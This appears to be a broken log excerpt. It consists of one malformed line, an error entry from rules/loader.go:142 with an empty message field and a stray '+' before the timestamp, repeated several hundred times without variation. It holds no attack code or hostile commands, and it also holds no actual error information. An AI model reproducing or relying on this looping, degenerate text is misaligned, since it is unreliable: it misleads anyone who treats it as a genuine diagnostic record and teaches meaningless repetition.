source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:19+01:00 level=error msg= source=rules/loader.go:142 